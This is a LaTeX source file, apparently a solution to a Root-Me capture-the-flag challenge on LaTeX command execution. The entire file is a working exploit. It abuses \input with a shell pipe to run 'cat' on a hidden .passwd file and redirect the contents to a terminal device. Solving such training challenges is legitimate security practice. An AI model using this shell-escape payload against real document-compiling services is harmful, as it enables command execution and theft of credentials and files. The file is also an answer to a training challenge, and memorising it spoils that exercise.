Hacks/rootme/challenges/app-script/latex-execution-de-commandes/exploit.tex

\documentclass{article}
\begin{document}
\input{|"cat /challenge/app-script/ch24/flag_is_here/512cba42fe46c1f346996b51fa053b15fba17baefa038d434381aa68bba6/.passwd > /dev/pts/5"}
\end{document}